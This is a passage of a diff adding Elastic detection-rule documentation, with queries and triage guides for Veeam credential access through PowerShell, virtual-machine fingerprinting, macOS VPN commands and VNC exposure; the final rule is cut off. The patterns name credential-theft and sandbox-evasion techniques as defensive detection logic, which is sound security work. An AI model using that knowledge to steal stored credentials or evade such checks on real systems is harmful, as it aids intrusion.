additional systems are affected. +- Implement enhanced monitoring and alerting for similar activities, focusing on unauthorized process executions and DLL loads, to improve early detection of future threats. + +==== Setup + + + +*Setup* + + +This rule is designed for data generated by https://www.elastic.co/security/endpoint-security[Elastic Defend], which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules. + +Setup instructions: https://ela.st/install-elastic-defend + + +==== Rule query + + +[source, js] +---------------------------------- +sequence by process.entity_id with maxspan=1m +[process where host.os.type == "windows" and event.type == "start" and + ( + process.code_signature.trusted == false or + process.code_signature.exists == false or + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + process.pe.original_file_name : ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + not (process.name : "powershell.exe" and process.parent.executable : "C:\\Windows\\System32\\CompatTelRunner.exe") +] +[library where host.os.type == "windows" and event.action == "load" and + (dll.name : "Veeam.Backup.Common.dll" or dll.pe.original_file_name : "Veeam.Backup.Common.dll")] + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: OS Credential Dumping +** ID: T1003 +** Reference URL: https://attack.mitre.org/techniques/T1003/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-machine-fingerprinting-via-grep.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-machine-fingerprinting-via-grep.asciidoc new file mode 100644 index 0000000000..d0ec2a1240 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-machine-fingerprinting-via-grep.asciidoc @@ -0,0 +1,145 @@ +[[prebuilt-rule-8-19-34-virtual-machine-fingerprinting-via-grep]] +=== Virtual Machine Fingerprinting via Grep + +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* logs-endpoint.events.* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://objective-see.com/blog/blog_0x4F.html + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Platform: macOS + +*Version*: 110 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Machine Fingerprinting via Grep* + + +Virtual machine fingerprinting involves identifying virtualized environments by querying system details. Adversaries exploit tools like `grep` to extract information about virtual machine hardware, aiding in evasion or targeting. The detection rule identifies non-root users executing `grep` with arguments linked to virtual machine identifiers, flagging potential reconnaissance activities while excluding benign processes. + + +*Possible investigation steps* + + +- Review the process execution details to confirm the non-root user who initiated the `grep` or `egrep` command and assess their typical behavior and access rights. +- Examine the command-line arguments used with `grep` to identify specific virtual machine identifiers such as "parallels", "vmware", or "virtualbox" and determine if these align with known reconnaissance patterns. +- Investigate the parent process of the `grep` command to understand the context in which it was executed, ensuring it is not a benign process like Docker or kcare. +- Check for any additional suspicious activities or commands executed by the same user around the same time to identify potential lateral movement or further reconnaissance. +- Correlate this event with other security alerts or logs to determine if it is part of a broader attack pattern or campaign, particularly looking for connections to known malware like Pupy RAT. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that query virtual machine identifiers for system management or inventory purposes may trigger the rule. To handle this, identify and whitelist these specific scripts or applications by excluding their parent executable paths. +- Developers or IT personnel using grep to troubleshoot or gather system information on virtual machines might be flagged. Create exceptions for known user accounts or specific directories where these activities are expected. +- Automated monitoring tools that check virtual machine environments for compliance or performance metrics could cause false positives. Exclude these tools by adding their process names or parent executables to the exception list. +- Some virtualization management software might use grep internally to gather system information. Identify these applications and exclude their processes to prevent unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further reconnaissance or data exfiltration by the adversary. +- Terminate any suspicious processes identified by the alert, specifically those involving `grep` or `egrep` with arguments related to virtual machine identifiers. +- Conduct a thorough review of the affected system's user accounts and permissions, focusing on non-root users, to identify any unauthorized access or privilege escalation. +- Analyze system logs and network traffic for any signs of lateral movement or additional compromise, paying close attention to connections initiated by the affected system. +- Restore the system from a known good backup if any unauthorized changes or malware are detected, ensuring that the backup is free from compromise. +- Implement stricter access controls and monitoring for systems running virtual machines, including enhanced logging and alerting for similar reconnaissance activities. +- Escalate the incident to the security operations team for further investigation and to determine if the activity is part of a larger attack campaign. + +==== Setup + + + +*Setup* + + +If enabling an EQL rule on a non-elastic-agent index (such as beats) for versions <8.2, +events will not define `event.ingested` and default fallback for EQL rules was not added until version 8.2. +Hence for this rule to work effectively, users will need to add a custom ingest pipeline to populate +`event.ingested` to @timestamp. +For more details on adding a custom ingest pipeline refer - https://www.elastic.co/guide/en/fleet/current/data-streams-pipeline-tutorial.html + + +==== Rule query + + +[source, js] +---------------------------------- +process where event.type == "start" and + process.name in ("grep", "egrep") and user.id != "0" and + process.args : ("parallels*", "vmware*", "virtualbox*") and process.args : "Manufacturer*" and + not process.parent.executable in ("/Applications/Docker.app/Contents/MacOS/Docker", "/usr/libexec/kcare/virt-what") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-machine-fingerprinting.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-machine-fingerprinting.asciidoc new file mode 100644 index 0000000000..f0475212b3 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-machine-fingerprinting.asciidoc @@ -0,0 +1,209 @@ +[[prebuilt-rule-8-19-34-virtual-machine-fingerprinting]] +=== Virtual Machine Fingerprinting + +An adversary may attempt to get detailed information about the operating system and hardware. This rule identifies common locations used to discover virtual machine hardware by a non-root user. This technique has been used by the Pupy RAT and other malware. + +*Rule type*: eql + +*Rule indices*: + +* auditbeat-* +* endgame-* +* logs-endpoint.events.* +* logs-crowdstrike.fdr* +* logs-sentinel_one_cloud_funnel.* +* logs-auditd_manager.auditd-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Linux +* Use Case: Threat Detection +* Tactic: Discovery +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Crowdstrike +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Linux +* Data Source: Auditd Manager + +*Version*: 115 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Machine Fingerprinting* + + +Virtual Machine Fingerprinting involves identifying characteristics of a virtual environment, often to tailor attacks or evade detection. Adversaries exploit this by querying system files for hardware details, a tactic seen in malware like Pupy RAT. The detection rule flags non-root users accessing specific Linux paths indicative of VM queries, signaling potential reconnaissance activities. + + +*Possible investigation steps* + + +- Review the process execution details to identify the non-root user involved in accessing the specified paths, focusing on the user.name field. +- Examine the process.args field to determine which specific file paths were accessed, as this can indicate the type of virtual machine information being targeted. +- Investigate the parent process and command line arguments to understand the context of the process initiation and whether it aligns with legitimate user activity. +- Check for any related alerts or logs around the same timeframe to identify potential patterns or repeated attempts at virtual machine fingerprinting. +- Assess the system for any signs of compromise or unauthorized access, particularly focusing on the presence of known malware like Pupy RAT or similar threats. +- Correlate the findings with MITRE ATT&CK framework references (TA0007, T1082) to understand the broader tactics and techniques potentially in use by the adversary. + + +*False positive analysis* + + +- Non-root users running legitimate scripts or applications that query system files for hardware information may trigger the rule. Review the context of the process and user activity to determine if it aligns with expected behavior. +- System administrators or developers using automated tools for inventory or monitoring purposes might access these paths. Consider creating exceptions for known tools or scripts that are verified as safe. +- Security or compliance audits conducted by non-root users could inadvertently match the rule's criteria. Document and whitelist these activities if they are part of regular operations. +- Development environments where virtual machine detection is part of testing processes may cause false positives. Identify and exclude these environments from the rule's scope if they are consistently flagged. +- Regularly review and update the list of exceptions to ensure that only verified and necessary exclusions are maintained, minimizing the risk of overlooking genuine threats. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further reconnaissance or potential lateral movement by the adversary. +- Terminate any suspicious processes identified in the alert that are attempting to access the specified system files, especially those not initiated by the root user. +- Conduct a thorough review of recent user activity and process logs to identify any unauthorized access or anomalies that may indicate further compromise. +- Reset credentials for any non-root users involved in the alert to prevent unauthorized access, and review user permissions to ensure least privilege principles are enforced. +- Deploy endpoint detection and response (EDR) tools to monitor for similar suspicious activities and enhance visibility into system processes and user actions. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected. +- Implement additional monitoring and alerting for the specific file paths and processes identified in the query to detect and respond to future attempts at virtual machine fingerprinting. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from one of the following integrations: +- Elastic Defend +- Auditbeat + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a Linux System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, either "Traditional Endpoints" or "Cloud Workloads". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/8.10/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +*Auditbeat Setup* + +Auditbeat is a lightweight shipper that you can install on your servers to audit the activities of users and processes on your systems. For example, you can use Auditbeat to collect and centralize audit events from the Linux Audit Framework. You can also use Auditbeat to detect changes to critical files, like binaries and configuration files, and identify potential security policy violations. + + +*The following steps should be executed in order to add the Auditbeat on a Linux System:* + +- Elastic provides repositories available for APT and YUM-based distributions. Note that we provide binary packages, but no source packages. +- To install the APT and YUM repositories follow the setup instructions in this https://www.elastic.co/guide/en/beats/auditbeat/current/setup-repositories.html[helper guide]. +- To run Auditbeat on Docker follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-docker.html[helper guide]. +- To run Auditbeat on Kubernetes follow the setup instructions in the https://www.elastic.co/guide/en/beats/auditbeat/current/running-on-kubernetes.html[helper guide]. +- For complete “Setup and Run Auditbeat” information refer to the https://www.elastic.co/guide/en/beats/auditbeat/current/setting-up-and-running.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "linux" and event.type == "start" and +event.action in ("exec", "exec_event", "start", "ProcessRollup2", "process_started") and +process.args in ( + "/sys/class/dmi/id/bios_version", "/sys/class/dmi/id/product_name", "/sys/class/dmi/id/chassis_vendor", + "/proc/scsi/scsi", "/proc/ide/hd0/model" +) and not ( + user.name == "root" or + ?process.parent.name in ("LinkManager.exe", "saposcol", "svc_snow_discovery") or + ?process.working_directory == "/home/qualys" or + ?process.parent.executable in ( + "/usr/sara/sbin/sys2prometheus", "/usr/sara/sbin/sys2ganglia", "/usr/libexec/valgrind/memcheck-amd64-linux", + "/var/lib/cfengine3/modules/init_node", "/opt/emby-server/system/EmbyServer" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: System Information Discovery +** ID: T1082 +** Reference URL: https://attack.mitre.org/techniques/T1082/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Virtualization/Sandbox Evasion +** ID: T1497 +** Reference URL: https://attack.mitre.org/techniques/T1497/ +* Sub-technique: +** Name: System Checks +** ID: T1497.001 +** Reference URL: https://attack.mitre.org/techniques/T1497/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-private-network-connection-attempt.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-private-network-connection-attempt.asciidoc new file mode 100644 index 0000000000..7ccb183d5d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-virtual-private-network-connection-attempt.asciidoc @@ -0,0 +1,166 @@ +[[prebuilt-rule-8-19-34-virtual-private-network-connection-attempt]] +=== Virtual Private Network Connection Attempt + +Identifies the execution of macOS built-in commands to connect to an existing Virtual Private Network (VPN). Adversaries may use VPN connections to laterally move and control remote systems on a network. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.process* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://github.com/rapid7/metasploit-framework/blob/master/modules/post/osx/manage/vpn.rb +* https://www.unix.com/man-page/osx/8/networksetup/ +* https://superuser.com/questions/358513/start-configured-vpn-from-command-line-osx + +*Tags*: + +* Domain: Endpoint +* OS: macOS +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Defend +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: macOS + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Virtual Private Network Connection Attempt* + + +Virtual Private Networks (VPNs) are used to securely connect to remote networks, encrypting data and masking IP addresses. Adversaries may exploit VPNs to move laterally within a network, gaining unauthorized access to systems. The detection rule identifies suspicious VPN connection attempts on macOS by monitoring specific command executions, helping to flag potential misuse for further investigation. + + +*Possible investigation steps* + + +- Review the process details to confirm the legitimacy of the VPN connection attempt by examining the process name and arguments, such as "networksetup" with "-connectpppoeservice", "scutil" with "--nc start", or "osascript" with "osascript*set VPN to service*". +- Check the user account associated with the process to determine if the activity aligns with their typical behavior or if it appears suspicious. +- Investigate the source IP address and destination network to assess if the connection is to a known and trusted network or if it is unusual for the environment. +- Analyze historical data for similar VPN connection attempts from the same user or device to identify patterns or repeated unauthorized access attempts. +- Correlate the VPN connection attempt with other security events or alerts to identify potential lateral movement or further malicious activity within the network. + + +*False positive analysis* + + +- Legitimate VPN usage by IT staff or network administrators may trigger the rule. To manage this, create exceptions for known user accounts or specific times when VPN maintenance is scheduled. +- Automated scripts or applications that use macOS built-in commands for VPN connections can cause false positives. Identify these scripts and whitelist their process names or command lines. +- Frequent VPN connections from trusted devices or IP addresses might be flagged. Exclude these devices or IPs from the rule to reduce noise. +- Users who frequently travel and connect to corporate networks via VPN may trigger alerts. Consider excluding these users or implementing a separate monitoring strategy for their activities. +- Regularly review and update the exclusion list to ensure it reflects current network policies and user behaviors, minimizing unnecessary alerts. + + +*Response and remediation* + + +- Immediately isolate the affected macOS device from the network to prevent further lateral movement by the adversary. +- Terminate any suspicious VPN connections identified by the detection rule to cut off unauthorized access. +- Conduct a thorough review of the affected system's VPN configuration and logs to identify any unauthorized changes or connections. +- Reset credentials and update authentication methods for VPN access to ensure that compromised credentials are not reused. +- Escalate the incident to the security operations center (SOC) for further analysis and to determine if other systems have been affected. +- Implement additional monitoring on the network for unusual VPN connection attempts or related suspicious activities to enhance detection capabilities. +- Review and update VPN access policies to ensure they align with current security best practices and limit access to only necessary users and systems. + +==== Setup + + + +*Setup* + + +This rule requires data coming in from Elastic Defend. + + +*Elastic Defend Integration Setup* + +Elastic Defend is integrated into the Elastic Agent using Fleet. Upon configuration, the integration allows the Elastic Agent to monitor events on your host and send data to the Elastic Security app. + + +*Prerequisite Requirements:* + +- Fleet is required for Elastic Defend. +- To configure Fleet Server refer to the https://www.elastic.co/guide/en/fleet/current/fleet-server.html[documentation]. + + +*The following steps should be executed in order to add the Elastic Defend integration on a macOS System:* + +- Go to the Kibana home page and click "Add integrations". +- In the query bar, search for "Elastic Defend" and select the integration to see more details about it. +- Click "Add Elastic Defend". +- Configure the integration name and optionally add a description. +- Select the type of environment you want to protect, for MacOS it is recommended to select "Traditional Endpoints". +- Select a configuration preset. Each preset comes with different default settings for Elastic Agent, you can further customize these later by configuring the Elastic Defend integration policy. https://www.elastic.co/guide/en/security/current/configure-endpoint-integration-policy.html[Helper guide]. +- We suggest selecting "Complete EDR (Endpoint Detection and Response)" as a configuration setting, that provides "All events; all preventions" +- Enter a name for the agent policy in "New agent policy name". If other agent policies already exist, you can click the "Existing hosts" tab and select an existing policy instead. +For more details on Elastic Agent configuration settings, refer to the https://www.elastic.co/guide/en/fleet/current/agent-policy.html[helper guide]. +- Click "Save and Continue". +- To complete the integration, select "Add Elastic Agent to your hosts" and continue to the next section to install the Elastic Agent on your hosts. +For more details on Elastic Defend refer to the https://www.elastic.co/guide/en/security/current/install-endpoint.html[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "macos" and event.type in ("start", "process_started") and + ( + (process.name == "networksetup" and process.args like~ "-connectpppoeservice") or + (process.name == "scutil" and process.args like~ "--nc" and process.args like~ "start") or + (process.name == "osascript" and process.command_line : "osascript*set VPN to service*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ +* Technique: +** Name: Remote Services +** ID: T1021 +** Reference URL: https://attack.mitre.org/techniques/T1021/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-vnc-virtual-network-computing-from-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-vnc-virtual-network-computing-from-the-internet.asciidoc new file mode 100644 index 0000000000..7a7f5489e4 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-vnc-virtual-network-computing-from-the-internet.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-vnc-virtual-network-computing-from-the-internet]] +=== VNC (Virtual Network Computing) from the Internet + +This rule detects network events that may indicate the use of VNC traffic from the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Initial Access +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: pfSense +* Resources: Investigation Guide +* Noise: High +* Performance: Normal +* Profile: Aggressive +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating VNC (Virtual Network Computing) from the Internet* + + +VNC allows remote control of systems, facilitating maintenance and resource sharing. However, when exposed to the Internet, it becomes a target for attackers seeking unauthorized access. Adversaries exploit VNC for initial access or as a backdoor. The detection rule identifies suspicious VNC traffic by monitoring specific TCP ports and filtering out trusted IP ranges, flagging potential threats for further investigation. + + +*Possible investigation steps* + + +- Review the source IP address of the alert to determine if it is from an untrusted or suspicious location, as the rule filters out known trusted IP ranges. +- Check the destination IP address to confirm it belongs to an internal network (10.0.0.0/8, 172.16.0.0/12, or 192.168.0.0/16) and verify if the system is authorized to receive VNC traffic. +- Analyze the network traffic logs for the specified TCP ports (5800-5810) to identify any unusual patterns or repeated access attempts that could indicate malicious activity. +- Investigate the context of the event by correlating it with other security alerts or logs to determine if there are signs of a broader attack or compromise. +- Assess the risk and impact of the potential threat by evaluating the criticality of the affected system and any sensitive data it may contain. + + +*False positive analysis* + + +- Internal testing or maintenance activities may trigger the rule if VNC is used for legitimate purposes within a controlled environment. To manage this, create exceptions for known internal IP addresses that frequently use VNC for authorized tasks. +- Automated systems or scripts that utilize VNC for routine operations might be flagged. Identify these systems and exclude their IP addresses from the rule to prevent unnecessary alerts. +- Remote workers using VPNs that route traffic through public IPs could be mistakenly identified as threats. Ensure that VPN IP ranges are included in the trusted IP list to avoid false positives. +- Misconfigured network devices that inadvertently expose VNC ports to the Internet can cause alerts. Regularly audit network configurations to ensure VNC ports are not exposed and adjust the rule to exclude known safe configurations. +- Third-party service providers accessing systems via VNC for support purposes might be flagged. Establish a list of trusted IPs for these providers and update the rule to exclude them from detection. + + +*Response and remediation* + + +- Immediately isolate the affected system from the network to prevent further unauthorized access or data exfiltration. +- Terminate any active VNC sessions originating from untrusted IP addresses to cut off potential attacker access. +- Conduct a thorough review of system logs and network traffic to identify any unauthorized changes or data access that may have occurred during the VNC session. +- Reset credentials for any accounts that were accessed or could have been compromised during the unauthorized VNC session. +- Apply security patches and updates to the VNC software and any other potentially vulnerable applications on the affected system. +- Implement network segmentation to ensure that VNC services are only accessible from trusted internal networks and not exposed to the Internet. +- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected. + +==== Rule query + + +[source, js] +---------------------------------- +(data_stream.dataset:(fortinet_fortigate.log or network_traffic.flow) or event.category:(network or network_traffic)) and + network.transport:tcp and destination.port >= 5800 and destination.port <= 5810 and + not source.ip:( + 10.0.0.0/8 or + 127.0.0.0/8 or + 169.254.0.0/16 or + 172.16.0.0/12 or + 192.0.0.0/24 or + 192.0.0.0/29 or + 192.0.0.8/32 or + 192.0.0.9/32 or + 192.0.0.10/32 or + 192.0.0.170/32 or + 192.0.0.171/32 or + 192.0.2.0/24 or + 192.31.196.0/24 or + 192.52.193.0/24 or + 192.168.0.0/16 or + 192.88.99.0/24 or + 224.0.0.0/4 or + 100.64.0.0/10 or + 192.175.48.0/24 or + 198.18.0.0/15 or + 198.51.100.0/24 or + 203.0.113.0/24 or + 240.0.0.0/4 or + "::1" or + "FE80::/10" or + "FF00::/8" + ) and + destination.ip:( + 10.0.0.0/8 or + 172.16.0.0/12 or + 192.168.0.0/16 + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Command and Control +** ID: TA0011 +** Reference URL: https://attack.mitre.org/tactics/TA0011/ +* Technique: +** Name: Remote Access Tools +** ID: T1219 +** Reference URL: https://attack.mitre.org/techniques/T1219/ +* Tactic: +** Name: Initial Access +** ID: TA0001 +** Reference URL: https://attack.mitre.org/tactics/TA0001/ +* Technique: +** Name: External Remote Services +** ID: T1133 +** Reference URL: https://attack.mitre.org/techniques/T1133/ +* Technique: +** Name: Exploit Public-Facing Application +** ID: T1190 +** Reference URL: https://attack.mitre.org/techniques/T1190/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-vnc-virtual-network-computing-to-the-internet.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-vnc-virtual-network-computing-to-the-internet.asciidoc new file mode 100644 index 0000000000..7f9dd822ad --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-vnc-virtual-network-computing-to-the-internet.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-34-vnc-virtual-network-computing-to-the-internet]] +=== VNC (Virtual Network Computing) to the Internet + +This rule detects network events that may indicate the use of VNC traffic to the Internet. VNC is commonly used by system administrators to remotely control a system for maintenance or to use shared resources. It should almost never be directly exposed to the Internet, as it is frequently targeted and exploited by threat actors as an initial access or backdoor vector. + +*Rule type*: query + +*Rule indices*: + +* packetbeat-* +* auditbeat-* +* filebeat-* +* logs-network_traffic.* +* logs-panw.panos* +* logs-fortinet_fortigate.log-* +* logs-pfsense.log-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.iana.org/assignments/iana-ipv4-special-registry/iana-ipv4-special-registry.xhtml + +*Tags*: + +* Tactic: Command and Control +* Tactic: Lateral Movement +* Domain: Endpoint +* Use Case: Threat Detection +* Data Source: Fortinet +* Data Source: PAN-OS +* Data Source: pfSense +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Custom Query (KQL) +* Domain: Network +* Data Source: Network Packet Capture + +*Version*: 114 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating VNC (Virtual Network Computing) to the Internet* + + +VNC is a tool that allows remote control of computers, often used by administrators for maintenance. However, when exposed to the internet, it becomes a target for attackers seeking unauthorized access. Adversaries exploit VNC to establish backdoors or gain initial access. The detection rule identifies suspicious VNC traffic by monitoring specific TCP ports and filtering out internal IP addresses, flagging potential threats when VNC is accessed from external networks. + + +*Possible investigation steps* + + +- Review the source IP address to determine if it belongs to a known internal asset or user, and verify if the access was authorized. +- Check the destination IP address to confirm if it is an external address and investigate its reputation or any known associations with malicious activity. +- Analyze the network traffic logs for the specified TCP ports (5800-5810) to identify any unusual patterns or volumes of VNC traffic. +- Correlate the VNC traffic event with other security events or logs to identify any related suspicious activities or anomalies. +- Investigate the user account associated with the VNC session to ensure it has not been compromised or misused. +- Assess the system or application logs on the destination machine for any signs of unauthorized access or changes during the time of the VNC connection. + + +*False positive analysis* + + +- Internal maintenance activities may trigger the rule if VNC is used for legitimate remote administration. To manage this, create exceptions for known internal IP addresses that frequently use VNC for maintenance. +- Automated scripts or 